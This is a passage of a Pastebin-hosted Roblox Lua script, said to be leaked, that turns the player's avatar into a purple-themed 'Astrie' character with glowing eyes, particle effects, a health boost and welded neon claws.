Advertisement
Guest User

astrie2

a guest
Jan 10th, 2019
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 246.12 KB | None | 0 0
  1. --This got leaked agis ago no idea who made this--
  2.  
  3. paly = game.Players.LocalPlayer
  4. Player = game:GetService("Players").LocalPlayer
  5. p = game.Players.LocalPlayer
  6. char = paly.Character
  7. vt = Vector3.new
  8. rarm = char["Right Arm"]
  9. hed = char.Head
  10. larm = char["Left Arm"]
  11. rleg = char["Right Leg"]
  12. lleg = char["Left Leg"]
  13. local maincolor = BrickColor.random()
  14. local effolemode = false
  15. local wrathmode = false
  16. local noobmode = false
  17. local randomname = "???"
  18. local randomnamefem = "???"
  19. local randomchanger = 6
  20. if paly.Name == "BINO2002" then
  21. randomchanger = 6
  22. end
  23. if randomchanger == 6 then
  24. randomnamefem = "Astrie"
  25. effolemode = true
  26. maincolor = BrickColor.new("Royal purple")
  27.  
  28. local torsmesh = Instance.new("CharacterMesh", char)
  29. torsmesh.BodyPart = "Torso"
  30. torsmesh.MeshId = "48112070"
  31. local dec2 = Instance.new("Decal", char)
  32. dec2.Face = "Front"
  33. dec2.Texture = "rbxassetid://381091841"
  34. dec2.Parent = char.Head
  35. char.Head.face.Transparency = 1
  36. char.Head.face.Texture = "http://www.roblox.com/asset/?id=0"
  37.  
  38. for i,v in pairs(char:children()) do
  39.     if v:IsA("Hat") then
  40.         v:Destroy()
  41.     end
  42. end
  43. for i,v in pairs(char:children()) do
  44.     if v:IsA("Accessory") then
  45.         v:Destroy()
  46.     end
  47. end
  48. for i,v in pairs(char:children()) do
  49.     if v:IsA("Hair") then
  50.         v:Destroy()
  51.     end
  52. end
  53. for i,v in pairs(char:children()) do
  54.     if v:IsA("Shirt") then
  55.         v:Destroy()
  56.     end
  57. end
  58. for i,v in pairs(char:children()) do
  59.     if v:IsA("Pants") then
  60.         v:Destroy()
  61.     end
  62. end
  63.  
  64. local eye12 = Instance.new("Part")
  65. eye12.Parent = char
  66. eye12.Size = Vector3.new(0.2, 0.2, 0.2)
  67. eye12.Archivable = true
  68. eye12.Transparency = 0
  69. eye12.Shape = "Ball"
  70. eye12.BrickColor = maincolor
  71. eye12.Material = "Neon"
  72. eye12.CanCollide = false
  73. local mesh2 = Instance.new("SpecialMesh",eye12)
  74. mesh2.MeshType = "Sphere"
  75. mesh2.Scale = Vector3.new(0.75, 1, 1)
  76. local weld1en2 = Instance.new("Weld")
  77. weld1en2.Parent = hed
  78. weld1en2.Part0 = hed
  79. weld1en2.Part1 = eye12
  80. weld1en2.C1 = CFrame.new(0.115, -0.19, 0.5475)
  81. local eye1 = Instance.new("Part")
  82. eye1.Parent = char
  83. eye1.Size = Vector3.new(0.2, 0.2, 0.2)
  84. eye1.Archivable = true
  85. eye1.Transparency = 0
  86. eye1.Shape = "Ball"
  87. eye1.BrickColor = maincolor
  88. eye1.Material = "Neon"
  89. eye1.CanCollide = false
  90. local mesh = Instance.new("SpecialMesh",eye1)
  91. mesh.MeshType = "Sphere"
  92. mesh.Scale = Vector3.new(0.75, 1, 1)
  93. local weld1en = Instance.new("Weld")
  94. weld1en.Parent = hed
  95. weld1en.Part0 = hed
  96. weld1en.Part1 = eye1
  97. weld1en.C1 = CFrame.new(-0.115, -0.19, 0.5475)
  98.  
  99. local BC = char["Body Colors"]
  100. BC.HeadColor = BrickColor.new("White")
  101. BC.LeftArmColor = BrickColor.new("White")
  102. BC.LeftLegColor = BrickColor.new("White")
  103. BC.RightArmColor = BrickColor.new("White")
  104. BC.RightLegColor = BrickColor.new("White")
  105. BC.TorsoColor = BrickColor.new("White")
  106.  
  107. ypcall(function()
  108. shirt = Instance.new("Shirt", char)
  109. shirt.Name = "Shirt"
  110. pants = Instance.new("Pants", char)
  111. pants.Name = "Pants"
  112. char.Shirt.ShirtTemplate = "rbxassetid://211752973"
  113. char.Pants.PantsTemplate = "rbxassetid://179059579"
  114. end)
  115. Reaper2 = Instance.new("Model")
  116. Reaper2.Parent = Player.Character
  117. Reaper2.Name = "Reaper2"
  118. rh2 = Instance.new("Part")
  119. rh2.Parent = Reaper2
  120. rh2.BrickColor = maincolor
  121. rh2.Locked = true
  122. rh2.CanCollide = false
  123. mesh2 = Instance.new("SpecialMesh")
  124. rh2.formFactor =  "Symmetric"
  125. mesh2.MeshType = "FileMesh"
  126. mesh2.MeshId = "http://www.roblox.com/asset/?id=167554431"
  127. mesh2.Parent = rh2
  128. local weld2 = Instance.new("Weld")
  129. weld2.Parent = rh2
  130. rh2.Transparency = 0
  131. weld2.Part0 = rh2
  132. weld2.Part1 = Player.Character.Head
  133. weld2.C0 = CFrame.new(-0.05, -0.05, -0.1025)*CFrame.Angles(0, 0, 0)
  134.  
  135. Reaper3 = Instance.new("Model")
  136. Reaper3.Parent = Player.Character
  137. Reaper3.Name = "Reaper3"
  138. rh3 = Instance.new("Part")
  139. rh3.Parent = Reaper3
  140. rh3.BrickColor = BrickColor.new("Really black")
  141. rh3.Locked = true
  142. rh3.CanCollide = false
  143. mesh3 = Instance.new("SpecialMesh")
  144. rh3.formFactor =  "Symmetric"
  145. mesh3.MeshType = "FileMesh"
  146. mesh3.MeshId = "http://www.roblox.com/asset/?id=101176852"
  147. mesh3.Parent = rh3
  148. local weld3 = Instance.new("Weld")
  149. weld3.Parent = rh3
  150. rh3.Transparency = 0
  151. weld3.Part0 = rh3
  152. weld3.Part1 = Player.Character.Head
  153. weld3.C0 = CFrame.new(0, -1.23, 0)*CFrame.Angles(0, 0, 0)
  154.  
  155. local orbe = Instance.new("Part")
  156. orbe.Parent = char
  157. orbe.Size = Vector3.new(0.2, 0.2, 0.2)
  158. orbe.Archivable = true
  159. orbe.Transparency = 1
  160. orbe.BrickColor = maincolor
  161. orbe.Material = "Neon"
  162. orbe.CanCollide = false
  163. local weld1e = Instance.new("Weld")
  164. weld1e.Parent = rleg
  165. weld1e.Part0 = rleg
  166. weld1e.Part1 = orbe
  167. weld1e.C1 = CFrame.new(0, 1.125, 0)
  168. local pt1e = NumberSequenceKeypoint.new(0,0.85,0)
  169. local pt2e = NumberSequenceKeypoint.new(1,0,0)
  170. local effectoe = Instance.new("ParticleEmitter",orbe)
  171. effectoe.LightEmission = 1
  172. effectoe.Texture = "rbxasset://textures/particles/smoke_main.dds"
  173. effectoe.Color = ColorSequence.new(maincolor.Color)
  174. effectoe.Rate = 10000
  175. effectoe.Lifetime = NumberRange.new(1)
  176. effectoe.Size = NumberSequence.new({pt1e,pt2e})
  177. effectoe.Speed = NumberRange.new(0,0)
  178. effectoe.RotSpeed = NumberRange.new(100,100)
  179.  
  180. local orbze = Instance.new("Part")
  181. orbze.Parent = char
  182. orbze.Size = Vector3.new(0.2, 0.2, 0.2)
  183. orbze.Archivable = true
  184. orbze.Transparency = 1
  185. orbze.BrickColor = maincolor
  186. orbze.Material = "Neon"
  187. orbze.CanCollide = false
  188. local weldz1 = Instance.new("Weld")
  189. weldz1.Parent = lleg
  190. weldz1.Part0 = lleg
  191. weldz1.Part1 = orbze
  192. weldz1.C1 = CFrame.new(0, 1.125, 0)
  193. local effectone = Instance.new("ParticleEmitter",orbze)
  194. effectone.LightEmission = 1
  195. effectone.Texture = "rbxasset://textures/particles/smoke_main.dds"
  196. effectone.Color = ColorSequence.new(maincolor.Color)
  197. effectone.Rate = 10000
  198. effectone.Lifetime = NumberRange.new(1)
  199. effectone.Size = NumberSequence.new({pt1e,pt2e})
  200. effectone.Speed = NumberRange.new(0,0)
  201. effectone.RotSpeed = NumberRange.new(100,100)
  202. end
  203.  
  204. if effolemode == true then
  205. maincolor = BrickColor.new("Royal purple")
  206. end
  207.  
  208. local orb = Instance.new("Part")
  209. orb.Parent = char
  210. orb.Size = Vector3.new(1, 1, 1)
  211. orb.Archivable = true
  212. orb.Transparency = 1
  213. orb.BrickColor = BrickColor.new("Bright orange")
  214. orb.Material = "Wood"
  215. orb.CanCollide = false
  216. local weld1 = Instance.new("Weld")
  217. weld1.Parent = rarm
  218. weld1.Part0 = rarm
  219. weld1.Part1 = orb
  220. weld1.C1 = CFrame.new(0, 1.125, 0)
  221. local pt1 = NumberSequenceKeypoint.new(0,0.475,0)
  222. local pt2 = NumberSequenceKeypoint.new(1,0,0)
  223. local effecto = Instance.new("ParticleEmitter",orb)
  224. effecto.LightEmission = 1
  225. effecto.Texture = "rbxasset://textures/particles/smoke_main.dds"
  226. effecto.Color = ColorSequence.new(maincolor.Color)
  227. effecto.Rate = 10000
  228. effecto.Lifetime = NumberRange.new(1)
  229. effecto.Size = NumberSequence.new({pt1,pt2})
  230. effecto.Speed = NumberRange.new(0,0)
  231. effecto.RotSpeed = NumberRange.new(100,100)
  232.  
  233. local orbz = Instance.new("Part")
  234. orbz.Parent = char
  235. orbz.Size = Vector3.new(1, 1, 1)
  236. orbz.Archivable = true
  237. orbz.Transparency = 1
  238. orbz.BrickColor = BrickColor.new("Bright orange")
  239. orbz.Material = "Wood"
  240. orbz.CanCollide = false
  241. local weldz1 = Instance.new("Weld")
  242. weldz1.Parent = larm
  243. weldz1.Part0 = larm
  244. weldz1.Part1 = orbz
  245. weldz1.C1 = CFrame.new(0, 1.125, 0)
  246. local effecton = Instance.new("ParticleEmitter",orbz)
  247. effecton.LightEmission = 1
  248. effecton.Texture = "rbxasset://textures/particles/smoke_main.dds"
  249. effecton.Color = ColorSequence.new(maincolor.Color)
  250. effecton.Rate = 10000
  251. effecton.Lifetime = NumberRange.new(1)
  252. effecton.Size = NumberSequence.new({pt1,pt2})
  253. effecton.Speed = NumberRange.new(0,0)
  254. effecton.RotSpeed = NumberRange.new(100,100)
  255.  
  256.  
  257. p = game.Players.LocalPlayer
  258. char = p.Character
  259. torso = char.Torso
  260. neck = char.Torso.Neck
  261. hum = char.Humanoid
  262. hum.MaxHealth = 10000
  263. wait()
  264. hum.Health =hum.MaxHealth
  265.  
  266. CV="Hot pink"
  267.    
  268. local txt = Instance.new("BillboardGui", char)
  269. txt.Adornee = char .Head
  270. txt.Name = "_status"
  271. txt.Size = UDim2.new(2, 0, 1.2, 0)
  272. txt.StudsOffset = Vector3.new(-9, 8, 0)
  273. local text = Instance.new("TextLabel", txt)
  274. text.Size = UDim2.new(10, 0, 7, 0)
  275. text.FontSize = "Size24"
  276. text.TextScaled = true
  277. text.TextTransparency = 0
  278. text.BackgroundTransparency = 1
  279. text.TextTransparency = 0
  280. text.TextStrokeTransparency = 0
  281. text.Font = "SciFi"
  282. text.TextStrokeColor3 = Color3.new(0,0,0)
  283.  
  284. v=Instance.new("Part")
  285. v.Name = "ColorBrick"
  286. v.Parent=p.Character
  287. v.FormFactor="Symmetric"
  288. v.Anchored=true
  289. v.CanCollide=false
  290. v.BottomSurface="Smooth"
  291. v.TopSurface="Smooth"
  292. v.Size=Vector3.new(10,5,3)
  293. v.Transparency=1
  294. v.CFrame=char.Torso.CFrame
  295. v.BrickColor=BrickColor.new(CV)
  296. v.Transparency=1
  297. text.TextColor3 = BrickColor.new("Royal purple").Color
  298. v.Shape="Block"
  299. text.Text = "Astrie"
  300.  
  301.  
  302. euler = CFrame.fromEulerAnglesXYZ
  303. angles = CFrame.Angles
  304. local player = "LocalPlayer"
  305. local Character = game.Players[player].Character
  306. it = Instance.new
  307. vt = Vector3.new
  308. bc = BrickColor.new
  309. cf = CFrame.new
  310. mr = math.rad
  311. local Weapon = {}
  312. local p = game.Players.LocalPlayer
  313. local char = p.Character
  314. local mouse = p:GetMouse()
  315. local larm = char["Left Arm"]
  316. local rarm = char["Right Arm"]
  317. local lleg = char["Left Leg"]
  318. local rleg = char["Right Leg"]
  319. local hed = char.Head
  320. local torso = char.Torso
  321. local hum = char.Humanoid
  322. local cam = game.Workspace.CurrentCamera
  323. local root = char.HumanoidRootPart
  324. local deb = false
  325. local shot = 0
  326.  
  327. local debris=game:service"Debris"
  328. local l = game:GetService("Lighting")
  329. local rs = game:GetService("RunService").Stepped
  330. ptz = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1}
  331. math.randomseed(os.time())
  332. for i,v in pairs (hed:GetChildren()) do
  333.         if v:IsA("Sound") then
  334.                 v:Destroy()
  335.         end
  336. end
  337. ---------------------------------------------------- BeastClaw
  338. NoOutline = function(Part)
  339.   Part.TopSurface = 10
  340. end
  341. part = function(formfactor, parent, reflectance, transparency, brickcolor, name, size)
  342.   local fp = it("Part")
  343.   fp.formFactor = formfactor
  344.   fp.Parent = parent
  345.   fp.Reflectance = reflectance
  346.   fp.Transparency = transparency
  347.   fp.CanCollide = false
  348.   fp.Locked = true
  349.   fp.BrickColor = brickcolor
  350.   fp.Name = name
  351.   fp.Size = size
  352.   NoOutline(fp)
  353.   fp.Material = "Neon"
  354.   fp:BreakJoints()
  355.   return fp
  356. end
  357. mesh = function(Mesh, part, meshtype, meshid, offset, scale)
  358.   local mesh = it(Mesh)
  359.   mesh.Parent = part
  360.   if Mesh == "SpecialMesh" then
  361.     mesh.MeshType = meshtype
  362.     if meshid ~= "nil" then
  363.       mesh.MeshId = "http://www.roblox.com/asset/?id=" .. meshid
  364.     end
  365.   end
  366.   mesh.Offset = offset
  367.   mesh.Scale = scale
  368.   return mesh
  369. end
  370. weld = function(parent, part0, part1, c0)
  371.   local weld = it("Motor6D")
  372.   weld.Parent = parent
  373.   weld.Part0 = part0
  374.   weld.Part1 = part1
  375.   weld.C0 = c0
  376.   return weld
  377. end
  378. gui = function(GuiType, parent, text, backtrans, backcol, pos, size, image)
  379.   local gui = it(GuiType)
  380.   gui.Parent = parent
  381.   gui.BackgroundTransparency = backtrans
  382.   gui.BackgroundColor3 = backcol
  383.   gui.SizeConstraint = "RelativeXY"
  384.   gui.Position = pos
  385.   gui.Size = size
  386.   if GuiType == "TextLabel" then
  387.     gui.Text = text
  388.     gui.TextXAlignment = "Center"
  389.     gui.TextYAlignment = "Center"
  390.     gui.Font = "SourceSans"
  391.     gui.FontSize = "Size14"
  392.     gui.TextWrapped = false
  393.     gui.TextStrokeTransparency = 0
  394.     gui.TextColor = TorsoColor
  395.   else
  396.     if GuiType == "ImageLabel" then
  397.       gui.Image = "rbxassetid://" .. image
  398.       gui.ImageColor3 = backcol
  399.     end
  400.   end
  401.   return gui
  402. end
  403. local handle = nil
  404. AesthPart = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef)
  405.   prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
  406.   prt.Material = neon
  407.   msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
  408.   wld = weld(handle, prt, wldpar, ceef)
  409.   v = it("NumberValue", prt)
  410.   v.Value = trans
  411.   v.Name = "MainTransparency"
  412.   return prt, msh, wld
  413. end
  414. AesthPartHand = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef, wldpare)
  415.   prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
  416.   prt.Material = neon
  417.   msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
  418.   wld = weld(wldpare, prt, wldpar, ceef)
  419.   v = it("NumberValue", prt)
  420.   v.Value = trans
  421.   v.Name = "MainTransparency"
  422.   return prt, msh, wld
  423. end
  424. local modelzorzez = Instance.new("Model")
  425. modelzorzez.Parent = workspace.CurrentCamera
  426. modelzorzez.Name = "none"
  427. local Torso = Character.Torso
  428. local LeftArm = Character["Left Arm"]
  429. local RightArm = Character["Right Arm"]
  430. local LeftLeg = Character["Left Leg"]
  431. local RightLeg = Character["Right Leg"]
  432. local Head = Character.Head
  433. local RootPart = Character.HumanoidRootPart
  434. handle = part(3, modelzorzez, 0, 1, BrickColor.new("Really black"), "Handle", vt())
  435. local handlewld = weld(handle, handle, Torso, euler(0, 0, -0.8) * cf(0, 0, -0.7))
  436.  
  437. -- SAHHHH DUUDEEE
  438.  
  439.  
  440.  
  441.  
  442. -- params : ...
  443.  
  444. wait(0.016666666666667)
  445. script.Archivable = false
  446. Effects = {}
  447. local Player = game.Players.localPlayer
  448. local Character = Player.Character
  449. local Humanoid = Character.Humanoid
  450. local mouse = Player:GetMouse()
  451. local m = Instance.new("Model", Character)
  452. m.Name = "WeaponModel"
  453. local effect = Instance.new("Model", Character)
  454. effect.Name = "effecsfsafzx"
  455. local demon = Instance.new("Model", Character)
  456. demon.Name = "demdemd"
  457. local LeftArm = Character["Left Arm"]
  458. local RightArm = Character["Right Arm"]
  459. local LeftLeg = Character["Left Leg"]
  460. local RightLeg = Character["Right Leg"]
  461. local do2target = nil
  462. local Head = Character.Head
  463. local Torso = Character.Torso
  464. TorsoColor = BrickColor.new("Royal purple")
  465. z = Instance.new("Sound", Torso)
  466. z.SoundId = "rbxassetid://0" -- Put Music ID Here.
  467. z.Looped = true
  468. z.Pitch = 0
  469. z.Volume = 0
  470. wait(.1)
  471. z:Play()
  472. local cam = game.Workspace.CurrentCamera
  473. local RootPart = Character.HumanoidRootPart
  474. local RootJoint = RootPart.RootJoint
  475. local equipped = false
  476. local attack = false
  477. local Anim = "Idle"
  478. local idle = 0
  479. local attacktype = 1
  480. local Torsovelocity = RootPart.Velocity * Vector3.new(1, 0, 1).magnitude
  481. local velocity = RootPart.Velocity.y
  482. local sine = 0
  483. local change = 1
  484. local mana = 0
  485. local it = Instance.new
  486. vt = Vector3.new
  487. local grabbed = false
  488. local cf = CFrame.new
  489. local mr = math.rad
  490. local angles = CFrame.Angles
  491. local ud = UDim2.new
  492. local c3 = Color3.new
  493. clerp = function(a, b, t)
  494.  
  495.   return a:lerp(b, t)
  496. end
  497.  
  498. local RbxUtility = LoadLibrary("RbxUtility")
  499. local Create = RbxUtility.Create
  500. RemoveOutlines = function(part)
  501.  
  502.   part.TopSurface = 10
  503. end
  504.  
  505. CreatePart = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size)
  506.  
  507.   local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  508.   RemoveOutlines(Part)
  509.   return Part
  510. end
  511.  
  512. CreateMesh = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
  513.  
  514.   local Msh = Create(Mesh)({Parent = Part, Offset = OffSet, Scale = Scale})
  515.   if Mesh == "SpecialMesh" then
  516.     Msh.MeshType = MeshType
  517.     Msh.MeshId = MeshId
  518.   end
  519.   return Msh
  520. end
  521.  
  522. local co1 = 3
  523. local co2 = 10
  524. local co3 = 15
  525. local co4 = 30
  526. local cooldown1 = 0
  527. local cooldown2 = 0
  528. local cooldown3 = 0
  529. local cooldown4 = 0
  530. local maxEnergy = 100
  531. local Energy = 0
  532. local skill1stam = 1000
  533. local skill2stam = 1000
  534. local skill3stam = 1000
  535. local skill4stam = 1000
  536. local recovermana = 5
  537. local skillcolorscheme = BrickColor.new("White").Color
  538. local scrn = Instance.new("ScreenGui", Player.PlayerGui)
  539. makeframe = function(par, trans, pos, size, color)
  540.  
  541.   local frame = Instance.new("Frame", par)
  542.   frame.BackgroundTransparency = trans
  543.   frame.BorderSizePixel = 0
  544.   frame.Position = pos
  545.   frame.Size = size
  546.   frame.BackgroundColor3 = color
  547.   return frame
  548. end
  549.  
  550. makelabel = function(par, text)
  551.  
  552.   local label = Instance.new("TextLabel", par)
  553.   label.BackgroundTransparency = 1
  554.   label.Size = UDim2.new(1, 0, 1, 0)
  555.   label.Position = UDim2.new(0, 0, 0, 0)
  556.   label.TextColor3 = Color3.new(255, 255, 255)
  557.   label.TextStrokeTransparency = 0
  558.   label.FontSize = Enum.FontSize.Size32
  559.   label.Font = Enum.Font.SourceSansLight
  560.   label.BorderSizePixel = 0
  561.   label.TextScaled = true
  562.   label.Text = text
  563. end
  564.  
  565. ArtificialHB = Instance.new("BindableEvent", script)
  566. ArtificialHB.Name = "Heartbeat"
  567. script:WaitForChild("Heartbeat")
  568. frame = 0.033333333333333
  569. tf = 0
  570. allowframeloss = false
  571. tossremainder = false
  572. lastframe = tick()
  573. script.Heartbeat:Fire()
  574. game:GetService("RunService").Heartbeat:connect(function(s, p)
  575.  
  576.   tf = tf + s
  577.   if frame <= tf then
  578.     if allowframeloss then
  579.       script.Heartbeat:Fire()
  580.       lastframe = tick()
  581.     else
  582.       for i = 1, math.floor(tf / frame) do
  583.         script.Heartbeat:Fire()
  584.       end
  585.       lastframe = tick()
  586.     end
  587.     if tossremainder then
  588.       tf = 0
  589.     else
  590.       tf = tf - frame * math.floor(tf / frame)
  591.     end
  592.   end
  593. end
  594. )
  595. swait = function(num)
  596.  
  597.   if num == 0 or num == nil then
  598.     ArtificialHB.Event:wait()
  599.   else
  600.     for i = 0, num do
  601.       ArtificialHB.Event:wait()
  602.     end
  603.   end
  604. end
  605.  
  606. CreateWeld = function(Parent, Part0, Part1, C0, C1)
  607.  
  608.   local Weld = Create("Weld")({Parent = Parent, Part0 = Part0, Part1 = Part1, C0 = C0, C1 = C1})
  609.   return Weld
  610. end
  611.  
  612. rayCast = function(Position, Direction, Range, Ignore)
  613.  
  614.   return game:service("Workspace"):FindPartOnRay(Ray.new(Position, Direction.unit * (Range or 999.999)), Ignore)
  615. end
  616.  
  617. CreateSound = function(id, par, vol, pit)
  618.  
  619.   coroutine.resume(coroutine.create(function()
  620.    
  621.     local sou = Instance.new("Sound", par or workspace)
  622.     sou.Volume = vol
  623.     sou.Pitch = pit or 1
  624.     sou.SoundId = id
  625.     swait()
  626.     sou:play()
  627.     game:GetService("Debris"):AddItem(sou, 6)
  628.   end
  629. ))
  630. end
  631.  
  632. local getclosest = function(obj, distance)
  633.  
  634.   local last, lastx = distance + 1, nil
  635.   for i,v in pairs(workspace:GetChildren()) do
  636.     if v:IsA("Model") and v ~= Character and v:findFirstChild("Humanoid") and v:findFirstChild("Torso") and v:findFirstChild("Humanoid").Health > 0 then
  637.       local t = v.Torso
  638.       local dist = t.Position - obj.Position.magnitude
  639.       if dist <= distance and dist < last then
  640.         last = dist
  641.         lastx = v
  642.       end
  643.     end
  644.   end
  645.   return lastx
  646. end
  647.  
  648. CreatePart2 = function(Parent, Material, Reflectance, Transparency, PartType, BColor, Name, Size)
  649.  
  650.   if PartType == "Part" then
  651.     local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  652.     RemoveOutlines(Part)
  653.     return Part
  654.   else
  655.     do
  656.       if PartType == "WedgePart" then
  657.         local Part = Create("WedgePart")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  658.         RemoveOutlines(Part)
  659.         return Part
  660.       end
  661.     end
  662.   end
  663. end
  664.  
  665. Handle = CreatePart(m, Enum.Material.SmoothPlastic, 0, 1, "Dirt brown", "Handle", Vector3.new(1, 2, 1))
  666. HandleWeld = CreateWeld(m, Character["Right Arm"], Handle, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  667. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  668. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.598956585, -0.401195407, 0, 0, 1, 0.25881803, -0.965926111, 0, 0.965926111, 0.25881803, 0))
  669. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.150000006))
  670. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  671. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.858075142, -0.276378155, -0.49209857, 0.353552133, -0.866025269, 0.353555113, 0.707108736, -9.03335206e-07, -0.707104981, 0.612371027, 0.500000358, 0.61237365))
  672. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
  673. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  674. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142959999, -0.79026103, -0.577523232, 0, 0, 1, 0.0581610166, -0.998307228, 0, 0.998307228, 0.0581610166, 0))
  675. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.400000006, 1, 0.100000001))
  676. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  677. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.857914209, 0.258751988, -0.512362957, 0.353553236, -0.866025567, -0.353553236, -0.707106471, 3.09715034e-07, -0.707107246, 0.612372994, 0.499999791, -0.6123721))
  678. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
  679. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  680. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.508293927, 0.581420183, 0.355297565, -1, 0, 0, 0, -0.694275975, -0.719708979, 0, -0.719708979, 0.694275975))
  681. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  682. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  683. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, -0.605236769, -0.322324991, 1, 0, 0, 0, 0.719708979, -0.694275975, 0, 0.694275975, 0.719708979))
  684. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  685. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  686. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.0117408261, -0.729162693, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
  687. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.208000004, 0.47299999, 0.47299999))
  688. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  689. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.123879015, -0.278857708, -0.00617899979, 0.965925336, -0.2588211, 0, 0.2588211, 0.965925336, 0, 0, 0, 1))
  690. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
  691. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.445813209, 0.210449979, 1.04200566))
  692. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.223450184, 0.0305250883, -0.00618699985, -0.25881803, 0.965926111, 0, -0.965926111, -0.25881803, 0, 0, 0, 1))
  693. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  694. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  695. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.407537222, 0.0663063526, -0.00618699985, 0.707106352, -0.707107365, 0, 0.707107365, 0.707106352, 0, 0, 0, 1))
  696. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
  697. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.664211631, 0.210449979, 1.04200566))
